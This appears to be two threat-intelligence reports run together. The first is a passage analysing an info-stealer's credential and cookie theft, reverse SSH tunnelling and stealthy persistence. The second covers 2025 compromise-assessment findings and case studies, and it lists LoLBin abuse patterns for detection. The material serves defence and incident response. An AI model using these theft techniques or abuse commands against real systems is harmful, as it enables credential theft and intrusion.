For Firefox, the exfiltration workflow follows a similar logic. The stealer receives a command to extract browser credentials, which is then processed by the handle_extract_firefox_passwords function. The implant then scans the Mozilla\Firefox\Profiles directory and checks each user profile for the presence of both logins.json and key4.db. If either file is missing, the profile is skipped. The malware then parses the contents of logins.json, extracting the hostname, encryptedUsername, and encryptedPassword fields from each entry.
Credential extraction
The extracted data is placed into a SECItem structure. Upon calling the NSS_Init() function, the NSS library — which Firefox relies on — automatically initializes its built-in cryptographic module and accesses the key4.db database. If the database is not protected by a master password, the module loads the signing key stored within it. In this scenario, the PK11SDR_Decrypt() function can successfully decrypt the credentials without requiring any user prompts or additional steps. Thus, BusySnake Stealer exploits insecure Firefox browser practices: storing the database master key in plaintext and the lack of re-authentication when decrypting data with it.
Credential decryption
The decrypted credentials are saved directly to the Roaming\WindowsHelper\firefox_passwords.json file.
Cookie extraction
The stealer harvests cookies using a workflow nearly identical to its browser credential theft routine. Upon receiving the handle_collect_and_send_cookies command from the C2 server, the malware triggers the corresponding function. It then scans browser directories for the following database files: Cookies for Chromium-based browsers and cookies.sqlite for Firefox. Once located, it uses SQL queries to extract the cookies.
For Chromium-based browsers, the malware executes the following query:
SELECT host_key, name, value, encrypted_value, path, expires_utc FROM cookies
For Firefox, it uses this query:
SELECT host, name, value, path, expiry FROM moz_cookies
All harvested data is decrypted and saved to a file located at Roaming\WindowsHelper\all_browser_data.json, which is then exfiltrated to the C2 server and wiped from the host.
In addition to this method, the stealer fetches a supplementary module designed to extract cookies by installing a browser extension. Upon receiving the appropriate directive, the malware executes the handle_extract_cookies_v7_command function. It then pulls down the additional module as an archive from the Releases page of a GitHub repository, mirroring the initial staging process used by the stealer itself.
The source code of this secondary module is also protected with PyArmor. Once executed, the module spins up a local web server to capture and parse the cookies extracted from the browser. Next, the module creates the files for a browser extension used to steal cookies:
manifest.json: details the extension structure and required permissions
sw.js: contains the primary execution logic for the extension
Once these components are staged, the extension is installed into the browser.
Extension configuration file (manifest.json)
Extension execution logic (sw.js)
To ensure Google Chrome launches with the extension installed, the module uses specific arguments to start the browser.
Chrome execution parameters
Once active, the extension verifies the availability of the local web server initialized during the previous stage. If the server is responsive, the extension reads the cookie data, stores it in a cookiesData object, and transmits it to the following URL:
http://127.0.0.1:8000/?data_type=c
The local server processes the incoming payload, saves it to a file named extracted_cookies.json, and subsequently exfiltrates it to the C2 server.
Reverse SSH tunneling
The group previously used a Go-based tool for creating reverse SSH tunnels, named Go2Tunnel by researchers. BusySnake Stealer implements a similar feature as a built-in function.
The implant receives a directive from the C2 server to establish a reverse SSH tunnel, routing the task to the handle_start_proxy_command function. The stealer initially sends a request to the following URL, appending the victim’s unique machine identifier to the request parameters:
The malware extracts the private key and the specific SSH command from this response. Using these components, it initiates a connection to a remote server controlled by the attackers, granting them persistent remote access and interactive control over the compromised host.
To close the tunnel, the stealer receives the handle_stop_proxy_command command and processes it with the function of the same name, after which the private key file is deleted and the associated SSH process is terminated.
New version of the BusySnake Stealer
During our infrastructure analysis of the threat actor, we uncovered a newer iteration of the stealer. The distribution method and static obfuscation mechanism remained unchanged; however, Armored Likho modified their TTPs and altered the code structure of BusySnake Stealer.
In the new version, instead of calling schtasks directly, the malware uses the win32com.client library to create scheduled tasks through interaction with the Schedule.Service COM object, indicating a shift toward less detectable execution methods.
Creating a scheduled task via the COM object
This approach ensures a more stealthy persistence mechanism. Furthermore, to bypass dynamic analysis mechanism, the authors added a function that pauses execution before triggering malicious routines.
We also observed refinements to the architectural design of BusySnake Stealer. The attackers built a new task-management framework to handle incoming C2 commands. Each task is assigned a unique identifier, and before execution, the stealer checks for the presence of this task in a specified list. To track execution states in real time, tasks are dynamically assigned one of four operational statuses: SCHEDULED, IN_PROGRESS, SUCCEEDED, or FAILED.
The introduction of task execution statuses resulted in an updated C2 communication schema. The updated endpoints and request packet structure are detailed in the table below:
One of the most significant architectural upgrades is the introduction of a dedicated class designed to execute arbitrary Python scripts. In this updated variant of the stealer, the poll_commands function is responsible for retrieving commands from the C2 server, while the poll_tasks routine is specifically dedicated to fetching Python scripts. Before running a retrieved script, the malware dynamically installs any required dependencies via pip. It then spawns a new process and executes the script’s code directly within memory without ever writing the file to disk — a technique intended to bypass security.
Attribution
We attribute this campaign to the Armored Likho threat group with medium confidence, basing our assessment on the analysis of the tools and network activity.
In previously identified campaigns, the group used the Go2Tunnel tool designed to create reverse SSH tunnels. In BusySnake Stealer, similar functionality is implemented as a built-in feature. Both tools receive a tunnel establishment command and a private SSH key from the C2 server, while making requests to similar endpoints. Furthermore, both payloads initiate their tunnels using SSH commands with an identical set of arguments:
The Armored Likho group has historically deployed the AquilaRAT remote access Trojan. It shares a similar structure with BusySnake Stealer: the malware receives tasks from the C2 server, and their execution is carried out by dedicated handlers. Additionally, BusySnake Stealer and AquilaRAT utilize similar endpoints for C2 communications — for example, when reporting task execution statuses back to the server:
AquilaRAT
Another structural overlap is seen in their persistence mechanisms. Both BusySnake Stealer and AquilaRAT maintain their footprint on compromised hosts by registering scheduled tasks that masquerade as legitimate Microsoft system utilities. While AquilaRAT typically names its task MicrosoftOfficeUpdate, BusySnake Stealer uses the name WindowsHelper.
Victims
We continue to actively monitor the ongoing deployment campaigns of BusySnake Stealer, alongside its related artifacts and network infrastructure.
To date, confirmed victims have been identified across Russia, Kazakhstan, and Brazil. The attacks are primarily focused on the governmental and electrical power infrastructure sectors.
Takeaways
An analysis of Armored Likho’s campaigns over the past few months shows a trend toward using AI tools to generate first-stage payloads, as indicated by redundant comments and code blocks. This allows the group to broaden its available attack vectors.
In parallel, the group is aggressively refining and modifying its core toolkit. While Go2Tunnel previously operated as a standalone utility, its reverse-tunneling functionality has now been integrated directly into the stealer as a built-in feature that ingests parameters from the C2 server. Furthermore, the structural design of this newly discovered stealer shares pronounced architectural overlaps with AquilaRAT, another staple tool in the group’s arsenal.
At the time of writing, Armored Likho remains highly active. Despite the evolution of their malware variants and their efforts to obfuscate their TTPs, we continue to closely monitor the group’s footprint and detect emerging campaigns.
Defensive solutions detect the threat actor’s activity at the initial stage when the LNK downloader is executed. Upon execution, the shortcut runs an obfuscated command via rundll32.exe, which subsequently triggers a PowerShell command to pull down the second-stage payload. This malicious chain of events is caught by the following detection rules:
The Kaspersky Cloud Sandbox solution can be used for a comprehensive analysis of the malicious activity described here. The figure below shows the Kaspersky Cloud Sandbox interface, demonstrating the event chain of the obfuscated command execution by the LNK downloader.
LNK downloader execution graph in Kaspersky Cloud Sandbox
Additionally, inside Kaspersky Cloud Sandbox, it can be observed that during execution the stealer contacts remote URLs to download additional files, specifically a DOCX decoy document as well as the web_script.txt stager.
File downloads by the LNK downloader in Kaspersky Cloud Sandbox
If the EXE dropper is executed, Kaspersky Cloud Sandbox also records the downloading of additional tools from a GitHub repository.
EXE dropper execution graph in Kaspersky Cloud Sandbox
File downloads by the EXE dropper in Kaspersky Cloud Sandbox
Furthermore, dynamic analysis results show that the sample writes an additional file to the disk, which is used in subsequent stages of the attack.
Malicious file written to disk by the EXE dropper in Kaspersky Cloud Sandbox
The following analysis presents the key findings from Kaspersky Compromise Assessment engagements performed in 2025. A compromise assessment is an independent, expert-driven service that examines whether a target network has been compromised. The service combines threat intelligence analysis (including darknet sources), tool-aided endpoint scanning, a systematic review of security event logs and network traffic, and, when necessary, an initial incident response and digital forensic investigation.
This report focuses on missed incidents – threats that remained undetected for weeks, months, or even years.
Key trends observed during compromise assessment engagements
Proactive compromise assessment decreases the number of missed high-severity incidents. The highest proportions of high-severity incidents were revealed in organizations that requested our compromise assessment service after containing a known incident. The lowest proportions of high-severity incidents were observed in organizations that conducted regular audits. Of all the incidents discovered, 20% were found manually, while enterprises missed 60% because of the absence of high-confidence alerts from the tools in place.
Nearly a third of discovered incidents took over three months to detect. The longer a threat persisted in the target environment, the greater the likelihood that an incident would be severe. 30.8% of all discovered incidents and 52% of high-severity compromises had historical activity spanning over three months. The oldest incident discovered in 2025 had gone undetected for four years.
Malicious files often remain in backups and are restored after incident response activities. 40% of all discovered web shells resided in backups and went unnoticed until a proper compromise assessment was conducted.
Threat actors rely on remote management tools and LoLBins. These types of tools were found in all compromise assessment engagements that resulted in an incident detection.
Monitoring tools and controls are not self-sufficient; operational maturity makes the difference. Monitoring tools must be configured and adapted to the changing threat landscape. Furthermore, human analysts need to review low-confidence alerts. A lack of continuous monitoring and threat hunting activities increased the likelihood of high- and medium-severity incidents to 84–86%. At the same time, high‑severity incidents were rare among organizations with in-house capabilities to reverse-engineer malware.
Communication issues lead to missed incidents. Nearly a third of the compromise assessments revealed communication issues that impacted incident response activities.
The incident response playbook is not set in stone. For incident response to be efficient and effective, playbooks must be updated as new artifacts are discovered. Treating the incident response plan as a living document reduces the risk of missing threats.
About the Kaspersky Compromise Assessment service
Our global compromise assessment portfolio spans several regions. In 2025, around 71% of the incidents we identified affected our customers in the META region, while the APAC and CIS regions accounted for the remaining 29%.
Geographic distribution of incidents identified during Kaspersky Compromise Assessment projects in 2025 (download)
Our service was requested by organizations from a diverse set of sectors. The government sector accounted for around 29% of incidents, followed by the education (19%) and financial (17%) sectors.
Distribution of economy sector incidents identified during Kaspersky Compromise Assessment projects in 2025 (download)
Detection logic families
Our compromise assessments operate on a continuously updated catalogue of indicators of attack (IoAs). Because the raw set of IoAs is too granular for high-level reporting, we map them to a concise set of detection logic families. The statistics indicate that three detection families dominate the incident mix:
Credentials from dumps: 12.4% of all incidents;
Specific living-off-the-land (LOTL) tools: 11.2 %;
Specific malware families: 11.2 %.
These three detection logic families represent high-fidelity indicators of attack that reliably signal infrastructure compromises ranging from dormant, disk-based malware to persistent and multi-stage attacks.
Distribution of detection logic families (download)
Reasons for requesting Kaspersky Compromise Assessment services
Analysis of our compromise assessment engagements that took place in 2025 reveals a clear correlation between the stated purpose of the engagement and the risk profile of the findings. General audits dominate the portfolio with 56% of requests, followed by authority reporting engagements (19%), post-incident checkups (17%), and acquisitions (9%).
Statistics on the reasons behind CA project requests (download)
When the findings are classified by severity, the post-incident checkup category exhibits the highest proportion of high-severity incidents (40.7%). The full breakdown is shown below.
Incident severity breakdown by service engagement reason
Incident severity (%)
High
Medium
Low
Reason for service
Acquiring new company
28.6
42.8
28.6
General audit
27.7
36.7
35.6
Report to an authority
30
46.7
23.3
Checkup after a cybersecurity incident
40.7
25.9
33.4
Post-incident checkups are frequently initiated after an initial incident response (IR) effort. The elevated share of high-severity findings suggests that IR activities, which are typically limited to containing a known incident, do not provide a complete view of the broader environment. Consequently, other threats may remain undetected until a full compromise assessment is performed.
Merger and acquisition-related assessments are proactive assessments performed when a company acquires another entity. This involves the target’s network being scanned for hidden threats before the two environments are merged. These assessments demonstrate a balanced distribution of severity: 28.6% low-severity, 42.8% medium-severity, and 28.6 % high-severity. This reflects the mixed risk posture of target environments of acquisitions, which are often evaluated for both known vulnerabilities and hidden malicious activity. Similarly, other proactive approaches like general audit assessments or assessments driven by the need to regularly submit a compliance report to a regulatory authority, share almost the same ratio. This indicates that regular, proactive and compliance-oriented assessments tend to reveal substantive issues earlier in the attack lifecycle, reducing the likelihood that they will evolve into high-severity incidents.
Organizations that conduct regular audits have the highest rate of low-severity findings (36%) and the lowest rate of high-severity issues (28%). We can assume with medium confidence that continuous, proactive compromise assessments are more effective at limiting the emergence of high-severity compromises than reactive, incident-driven evaluations. The data collected in 2025 are consistent with this hypothesis. Integrating regular, third-party compromise assessments into governance processes can therefore reduce the probability of unexpected high-severity findings and improve overall risk posture.
The following case study illustrates the impact of relying on a reactive rather than proactive approach. It describes a persistent threat that remained dormant on a client’s network and was only discovered after a comprehensive compromise assessment was performed following initial IR activity.
Case study: Dormant threat uncovered only by a compromise assessment
A midsize enterprise suffered a high-severity intrusion that was contained and remediated by the IR team within the defined scope of the initial alert. Following containment, the organization requested a check to determine if any additional footholds existed elsewhere in the network. To address this need, the organization engaged Kaspersky’s Compromise Assessment (CA) service, which performed a full forensic review of the environment beyond the scope of the initial incident.
Compromise assessment experts collected forensic metadata, historical security event logs, and Active Directory configuration data from the entire infrastructure. Threat hunting queries were executed against the aggregated telemetry, focusing on persistence mechanisms, lateral movement artifacts, and anomalous process activity. As a result, a number of severe threats were detected and reported; for example, malicious persistence:
A cron job that recreates a web shell
A critical Linux system (web server) had a cron job that automated fetched a copy of a PHP web shell from a public GitHub repository and placed it in an online directory. Even if the file was removed by security personnel, the cron job would simply download it again, giving the attacker a persistent remote code execution point on the web server.
A live reverse shell
On a server hosting a published web application, the process list showed a bash reverse shell.It was run by a user with the username “apache,” which was the account used to run the web application. This may indicate that the attacker exploited a vulnerability in the web application to gain remote code execution, allowing them to establish a reliable command and control channel that bypassed the firewall because it was initiated from inside the network.
ClipBanker data stealer persisting via Windows registry
A ClipBanker variant was detected on a user’s workstation machine maintaining persistence by adding itself to the registry key HKU\S-1-5-21-[REDACTED]-500\Software\Microsoft\Windows\CurrentVersion\Run\9Er6IIp.
This was done after adding the malware’s folder to Windows Defender exclusions and applying hidden and system attributes to the file to hide it from regular users.
Malicious WMI event consumer with deceptive alias
A malicious WMI event consumer was detected that downloads and executes a PowerShell script. It created the alias “Kaspersky” for “Invoke-Expression” in an attempt to blend in as legitimate activity in the hope that a quick glance at the script would not raise suspicion. Kaspersky’s Cyber Threat Intelligence confirmed that the downloaded script (no longer reachable) was a weaponized payload used to spread the infection further.
The IR containment was rapid, focused and effective in addressing the specific incident that triggered the alert. However, the broad-scope compromise assessment revealed multiple backdoors across the environment, each using a different persistence technique: cron jobs, scheduled registry runs, and WMI subscriptions. The infected hosts were outside the original IR scope, so they remained unseen until a comprehensive hunt was conducted.
Incident response excels at stopping the bleeding and ensuring business continuity after a known incident. A compromise assessment provides a health check that determines whether any other wounds exist. By pairing timely IR with regular, full network compromise assessments, the organization had both the reactive agility to contain incidents and the proactive visibility to eradicate malicious persistence wherever it was hiding. The investigation uncovered additional undetected footholds, providing a clearer view of the environment and reducing the likelihood of a repeat incident.
Missed long-term incidents
The statistics on the mean time to detect (MTTD) incidents identified during compromise assessment projects are concerning. Many incidents go unnoticed for extended periods. For example, in 2025 we identified an incident that was approximately four years old!
Such prolonged detection times can lead to severe consequences, as 30.8% of incidents have historical activity spanning over three months. These incidents can range from dormant malware to persistent threats, highlighting the need for robust detection and response mechanisms.
Severity distribution of incidents by MTTD (download)
The relationship between detection latency and incident severity was analyzed by grouping findings according to their MTTD:
For incidents detected within the first month, severity is more or less evenly distributed among the low, medium and high categories.
However, as the MTTD increases, the severity of incidents shifts towards higher severity. Notably, a high proportion of incidents that took between 30–60 days to be detected are medium-severity incidents (78.57%), while those detected between 60–90 days are predominantly high-severity (71.43%).
Among incidents detected after 90 days, a significant proportion are also high-severity incidents (52%).
Overall, 52% of high-severity incidents are only identified after 90 days of going undetected. This represents a concrete risk: the longer an incident goes undetected, the higher the probability of severe compromise. Organizations that integrate continuous detection, threat hunting activities, and regular compromise assessments can reduce MTTD, limit threat escalation, and lower their overall risk profile.
The following case study highlights the importance of timely detection and response to prevent incidents from escalating into high-severity events.
Case study: Four-year-old crypto mining activity on domain controllers
In May 2025, our compromise assessment experts identified three domain controllers on a customer network that were infected with malicious files. The files had remained hidden for almost four years. They were created in the C:\Windows\Fonts\Mysql directory, abusing its unique characteristic whereby only font files in this directory are visible to regular users. Files with the names nei.bat, dl1host.exe, bat.bat, cmd.bat, and a spoofed svchost.exe were found there. These files were created in June and July of 2021.
Kaspersky Threat Intelligence confirmed that these files are part of a crypto-mining campaign called NSABuffMiner, which spreads via the SMB protocol by exploiting the EternalBlue (MS17-010) vulnerability. A patch was released for this vulnerability in March 2017, four years before the initial compromise. This was more than enough time to patch the systems. This underscores the importance of implementing effective patch management operations and staying informed through threat intelligence news feeds.
Based on the organization’s request, the malicious files were collected along with a forensic image for analysis and revealed the following:
bat.bat and cmd.bat generate random IPs and scan them with a lightweight port scanner renamed taskhost.exe to locate live hosts with SMB port 445 and NetBIOS port 139 open and looking for vulnerable machines.
Discovered vulnerable IPs are handed to helper scripts named bat, poab.bat, load.bat, and loab.bat that execute the malware mance.exe, Eter.exe, and puls.exe to inject the malicious DLLs Eternalblue2.dll and Doublepulsar2.dll into lsass.exe and explorer.exe, enabling lateral movement.
Persistence is then established by creating scheduled tasks to execute the propagation and infection scripts, and services are created to execute the crypto miner, with the names MicrosoftMysql, MicrosoftFonts, and MicrosoftMSSql. Other scheduled tasks were also observed with the names At1 and At2 and created for the same purpose.
After successfully compromising the machine and installing the persistence mechanisms, a cleanup task is performed to delete temporary files and dropped malware.
Because of the lack of proper monitoring and threat hunting procedures, the organization was unaware that a mining operation had been hijacking their resources for four years, running on their domain controllers.
Unintentional malware preservation
An issue that is frequently discovered during compromise assessment activities is that of web shells remaining or being restored on target systems. Based on data collected during 2025 compromise assessment engagements, 64% of web shell incidents were classified as high-severity findings, 7% as low-severity (possibly legitimate files, but potentially compromised), and 29% as medium-severity findings requiring eradication.
Web shell incident distribution by severity (download)
One way web shells persist is through infected backups. The distribution of discovered incidents in our projects shows that 60% of the web shells were located on active systems, while 40% were stored in backups. Restoring such backups can reintroduce the threat long after the initial infection.
Another common issue is asset inventory gaps, which were observed in 25% of engagements. This resulted in untracked devices, particularly cloud-only Linux web servers that are not joined to Active Directory, evading routine scans.
An attacker can plant a web shell on such a cloud server, and that server never appears in the inventory, though is still regularly backed up. As a result, the web shell may persist on the cloud server for a long time. If it is occasionally deleted, the backup server later restores the infected files, exposing the web shell to third parties again. This demonstrates that without a complete and up-to-date asset inventory, detection capabilities are significantly impaired.
One case was observed in which the web shell was located on an internal file server (not a web server) within a .rar archive at the following path: D:\backup\[redacted_for_privacy].rar/wwwroot/<…>/[redacted_for_privacy].aspx
During the investigation, the server administrators indicated that the folder had been copied from a different server that was offline at the time of the assessment. Because of poor asset inventory, the company’s security team did not detect the infection of this server. As a result of the backup procedure, the web shell was copied to the internal file server. Forensic analysis of the offline server revealed that the adversary had introduced a backdoor to the majority of the Windows servers in the environment, configuring the local administrator account with an identical password.
The technique involved using PsExec to execute a .cmd script across all the servers listed in a .txt file; the script altered the local administrator password to a common value:
Legitimate, yet suspicious: LoLBins and remote management tools
In 2025, nonstandard remote management (RM) utilities were observed in all compromise assessment engagements. Living-off-the-land binaries (LoLBins) were also present in every engagement. These findings highlight the ongoing challenge for security operations centers (SOCs) that must distinguish between legitimate administrative use and malicious abuse.
The observed remote management utilities span both proprietary platforms, such as TeamViewer and AnyDesk, and freely available tools, including PsExec, VNC servers, and open-source RM frameworks. These binaries are used daily in many environments for troubleshooting, software deployment, or remote support. However, the same capabilities – creating a new local admin account, copying files to a remote share, or launching a network port scan for diagnostics – are also typical of attacker post-exploitation activity. Our analysts frequently encounter cases where a legitimate sysadmin action resembles a lateral movement step. This makes the mere fact that “a remote management tool was executed” insufficient to classify it as an incident. Instead, the incident must be judged against an organization-specific baseline of expected usage. Establishing that baseline requires a deep, contextual understanding of who is authorized to run the tool, from which endpoints, and under which circumstances – a resource-intensive process on a case-by-case basis.
LoLBins, binaries that are part of the operating system or commonly installed utilities (such as certutil, bitsadmin, regsvr32, and wmic), were also present in every assessment. While these files are trusted system components, threat intelligence confirms they are often repurposed for lateral movement, data exfiltration, and persistence. The graph below shows the severity distribution for incidents involving riskware or a LoLBin binary. The relatively high share of medium- (40%) and high-severity (31%) findings underscores that misuse of legitimate utilities is often the vector that enables a compromise to progress beyond the initial foothold.
Severity distribution of incidents involving riskware or LoLBin involvement (2025) (download)
To address the potential use of LoLBins and remote management tools by attackers, we recommend a multi-layered approach that goes beyond static deny lists:
Formalize a policy that enumerates the remote management tools authorized for use. The policy must be coupled with a requirement to forward software operational logs to a central log management platform (SIEM or dedicated log collector). Continuous monitoring of these logs enables a SOC to detect deviations from authorized usage patterns.
Periodically perform a software inventory audit to identify unauthorized remote management tools. Consider collecting data from the following registry keys on all hosts:
Enrich the hashes (MD5/SHA-256) of every executed binary with a functional category, such as “Remote Access”, “Golden Image”, or “Security Software.” Correlating the category with the execution path makes it possible to hunt for instances where a “Remote Access” binary runs from a non-standard location, such as %TEMP% or a user’s Downloads folder.
Deploy detection rules that capture known LoLBin abuse patterns, such as certutil -decode, bitsadmin -transfer, regsvr32 -i <dll>, wmic process call create. These rules should be continuously baselined against the organization’s normal activity. The baseline is derived from a period of verified legitimate use and refreshed whenever new legitimate use cases emerge. Alerts are generated only when observed behavior diverges from the established norm, thereby reducing noise while preserving sensitivity to genuine abuse.
Impact of not having continuous monitoring and proactive threat hunting
Analyses of recent compromise assessment projects reveal a systematic blind spot in organizations that follow the security-by-purchase model to defend their networks. Without continuous human monitoring or a dedicated threat hunting program, the severity profile of detected incidents becomes heavily skewed toward a higher impact:
Incident severity breakdown, where 24/7 monitoring or threat hunting is absent
Control type
Low-severity
Medium/high-severity
No continuous monitoring
14%
86%
No threat hunting
16%
84%
Often, the problem is not a lack of tools, but rather a lack of operational use of those tools. Many enterprises deploy next-generation security solutions and then let them run in “set-and-forget” mode, or they rely exclusively on an alert-driven workflow. The following issues are common in such organizations:
Alert fatigue: high false positive rates drown analysts in noise, forcing them to triage superficial indicators rather than conduct deep, contextual investigations.
Fragmented analyst assignment: without a dedicated hunting team, the same analyst may be tasked with dozens of unrelated alerts, limiting the time available for the hypothesis-driven exploration required to uncover stealthy footholds.
The practical consequence is that adversaries retain an extended dwell time, enabling continued lateral movement and data exfiltration before the organization becomes aware of the breach. This pattern represents a measurable risk exposure that translates directly into business impact. As the following example illustrates, merely purchasing security controls does not guarantee detection; continuous monitoring, regular alert validation, and structured threat hunting are essential to reduce dwell time and limit business impact.
Case study: Secure by design without continuous monitoring
The enterprise invested in security controls and assumed that the environment was secure by design. However, security controls require proper configuration, continuous tuning, and active monitoring to be effective. The tools had been installed, but no one was ensuring that the security controls were configured effectively, there was no analyst reviewing the alerts they produced, and no schedule existed to review the collected logs.
The organization opted for Kaspersky’s Compromise Assessment service. Historical security logs were collected and investigated as part of the assessment procedures. The goal was simple: to determine what had really been going on in the network over the previous few months.
Log analysis revealed clear evidence of malicious activity. Activities related to Impacket behavior were discovered that led to the deployment of Cobalt Strike and Mimikatz on several critical servers, including the domain controllers. These activities were three months old at the time of detection, and the enterprise was unaware of them because there was no effective 24/7 monitoring in place.
Impacket is a collection of Python scripts for network protocols and low-level network packet manipulation. Attackers can abuse it to move laterally into the network. The following are examples of its artifacts detected in the network:
The attacker used Impacket to execute a PowerShell command that downloaded an executable from a command-and-control server. This server was found to be associated with Cobalt Strike. Cobalt Strike is a post-exploitation tool that provides capabilities for remote command execution and lateral movement within a compromised network. The execution was set up via a scheduled task that attempted to masquerade as a legitimate Google Chrome update task.
The timeline assessment confirmed the presence of a Mimikatz binary and a memory dump associated with the same incident on the compromised system, confirming that a credential theft operation had indeed taken place.
The organization was completely unaware of the breach. The activity had gone undetected for three months because the deployed controls were never monitored. Upon learning of the findings, a full-scale incident response was initiated to eradicate the footholds, rotate credentials, and harden the security of the environment.
Security controls are not self-sufficient. Deploying a firewall or an EDR solution does not automatically protect you. Without proper configuration, baseline tuning, and, most critically, continuous log monitoring and threat hunting, those controls become merely decorative. Always-on monitoring, either performed internally or delegated to an external managed security service, can turn weeks-old compromises into minutes-old alerts by correlating events, hunting for anomalous use of penetration testing or hacking tools, and escalating suspicious activity.
Incident response action statistics
An analysis of historical compromise assessment projects reveals a persistent discrepancy between the best practices described in incident response playbooks and the operational realities of executing them in unprepared, often legacy-affected environments. The figure below shows how frequently each response action was required during the initial response phase of a compromise assessment.
Incident response actions required after compromise assessment (download)
The distribution highlights three frequently observed patterns:
Forensic analysis accounts for the majority of cases, with around 59% requiring at least one forensic package collection and analysis.
Remote eradication, i.e., file or registry key removal, was reported in 39% of cases.
Plans evolve as the investigation proceeds; 39% of engagements required a mid-engagement plan update, reflecting the iterative nature of incident response.
Why forensic collection is the default entry point
Forensic package collection and analysis was the most frequent response action, occurring in 59% of cases. The prevalence of forensic package collection can be explained by two observable factors in CA engagements: (1) the targeted organization’s limited historical visibility and (2) the fact that a substantial proportion of incidents were older than 90 days at the start of the assessment. In many cases, native logs had already been rotated or purged, forcing investigators to rely on residual artifacts (e.g., MFT entries, registry hives, filesystem timestamps) to reconstruct timelines.
Our observations suggest that remote forensic package collection is effectively a prerequisite rather than an optional convenience. The graph below summarizes the reported ability to collect forensic packages, categorized by incident severity level. It highlights that, in a significant proportion of high-severity cases, the affected organization lacked this capability.
The organization’s ability to collect forensic data by incident severity (download)
Containment: The remove files/registry keys paradox
Response execution and eradication actions, such as file or registry key removal (reported in 39% of cases), were also common. However, they highlighted a notable gap in execution practices. While many organizations reported having EDR capabilities for remote removal, execution was often delegated to IT teams or MSPs via ticketing systems. This can introduce delays and reduce the precision of the removal process. Malware removal is a surgical process, particularly in multi-stage, fileless, or persistence-heavy scenarios. Capability alone is insufficient without expertise, sequencing, and planning, especially when artifacts may exist in shadow copies, backups, hidden paths, or downloader chains.
Communication failures: An additional operational overhead
A notable organizational finding emerged regarding communication. In 32% of projects, internal communication issues at the assessed organization materially impacted response execution. Below are the typical blockers:
Unclear action confirmation – system administrators could not quickly confirm whether a suspicious file was legitimate.
Delayed owner validation – ticket escalations stalled while waiting for system owners to respond.
Compromised communication channels – email accounts or ticketing portals may already be under the attacker’s control in the event of a suspected domain compromise.
Staff turnover – loss of knowledge about historical configuration baselines.
These findings suggest that regular tabletop exercises are required to test not only technical playbooks, but also human and communication workflows, as well as operational level agreements that govern and facilitate communication between different teams, and standard operating procedures for proper documentation.
The iterative nature of response plan updates
The need to update response plans based on new analytical input arose in 39% of cases, emphasizing the inherently iterative nature of incident response. Early-stage plans cannot realistically account for all variables. Examples of the most commonly observed causes for updating the response plan are listed below:
Reverse engineering results that reveal previously unknown command-and-control (C2) servers or behaviors.
Forensic discoveries, such as hidden scheduled tasks, shadow-copy artifacts, or dormant DLLs.
Traffic analysis outcomes that expose additional lateral movement paths.
Human constraints – unavailable system owners, changes in management processes, or supervisor approval.
Based on our experience, teams that treat the IR plan as a living document – incorporating each new artifact, reprioritizing actions, and reissuing the playbook before the next containment step – reduce the risk of missed eradication steps. Conversely, strict adherence to an initial, evidence-limited plan can increase the risk of overlooking persistent footholds.
Distinguishing real attacker artifacts from penetration testing leftovers
Finally, distinguishing attacker activity from penetration testing artifacts remained a recurring challenge (12% of cases). Compromise assessments frequently uncover remnants of legitimate testing tools, which can create uncertainty about whether a detected artifact originated from a malicious intrusion or a legitimate penetration test. Contributing factors:
Poorly documented penetration test report and artifact cleanup.
Overlapping toolsets (e.g., SharpHound) used by both red team operators and adversaries.
Running compromise assessments and active penetration testing projects simultaneously, which degrades analyst focus and increases false positive rates. Although correlating findings with penetration testing reports is essential, compromise assessments are human-driven investigative processes, and confusing analysts with overlapping “legitimate” attack signals leads to misinterpretation and weaker outcomes.
Incident response maturity and its effect on severity
Our data show a correlation between the presence of internal digital forensics or malware reverse engineering capabilities and the distribution of incident severity categories. Across the 2025 compromise assessment engagements, the distribution of low-, medium- and high-severity findings differed markedly between organizations that possessed these capabilities and those that did not. The data below illustrate this correlation and provide a basis for assessing the business value of expanding internal response skill sets.
Incident severity split for cases requiring digital forensics, based on an organization’s capabilities (download)
Organizations capable of analyzing digital forensic artifacts independently experienced half as many high-severity incidents and a higher proportion of low- and medium-severity cases.
Incident severity split for cases requiring malware analysis, based on an organization’s capabilities (download)
The presence of a dedicated reverse engineering resource correlates with a total absence of high-severity cases in our sample set; the majority of incidents were rated as medium severity, with a significant proportion of low-severity outcomes.
The analysis of this correlation indicates, with medium confidence, that the observed shifts are unlikely to be caused solely by sample size effects. Rather, they are more likely to reflect a genuine operational phenomenon: internal digital forensics and malware analysis capabilities contribute not only to SOC processes, but also to cyber-resilience in general.
Case study: In-memory LionTail infection on critical Windows servers
During a compromise assessment, a persistent in-memory threat was identified on several critical servers. The activity was attributed to the LionTail framework, a sophisticated set of custom loaders and memory-resident shellcode implants. LionTail takes advantage of undocumented Windows HTTP.sys driver behaviors to covertly deliver and retrieve payloads via inbound HTTP traffic, effectively blending malicious activity into legitimate network flows.
Several observed variants are attributed to the Scarred Manticore actor, which generates a unique implant per compromised host and performs data exfiltration while carefully masking command-and-control communications within normal-looking traffic.
Detection was achieved through static memory signatures discovered within the scrcons.exe process. Although scrcons.exe is a legitimate WMI host binary located under C:\Windows\System32\wbem, it is frequently abused to host injected payloads, making it an attractive target for stealthy in-memory operations.
The response plan comprised a number of actions, the most critical of which are highlighted below:
Collection of volatile memory dumps for in-depth analysis.
Acquisition of full forensic disk images from affected systems.
Detailed analysis of the collected artifacts and subsequent updates to the incident response plan.
Executing these actions proved challenging for the organization because of its limited digital forensics and reverse engineering capabilities. In incidents dominated by fileless memory-resident threats, these capabilities are not optional – they are essential. Without them, organizations risk losing critical evidence, misjudging the scope of the compromise, or failing to fully eradicate advanced implants that leave minimal traces on disk.
While our specialists were able to complete the investigation and contain the breach, the case revealed a readiness gap. It demonstrated the operational risk of depending on external assistance during high‑impact incidents and reinforced the necessity of in‑house forensic and reverse‑engineering maturity to achieve timely, confident and comprehensive incident handling.
Solving the root cause problems
Upon completion of a compromise assessment engagement, the focus shifts from incident response to a consulting phase. The final workshop focuses on preventing recurrence of incidents by identifying underlying deficiencies that allowed them to go unnoticed. The recommendations are actionable and tailored to the environment. For the purpose of this report, they have been grouped into a limited set of high-level categories.
Root-cause category
Share of incidents
Typical findings
Insufficient detection fidelity
60.7%
• No high-confidence alerts were generated by the EPP/EDR or related log sources.
• In 9.4% of cases, the product was mis-configured or out of date or malfunctioning.
Missing alert-driven monitoring
35.9%
• Alerts that could have indicated compromise were generated, but an incident was not declared.
• Signals with high uncertainty (e.g., heuristic web shell detections) required analyst validation.
Deficient vulnerability and configuration management
28.2%
• Evident misconfigurations (e.g., disabled audit logging, over-permissive service accounts).
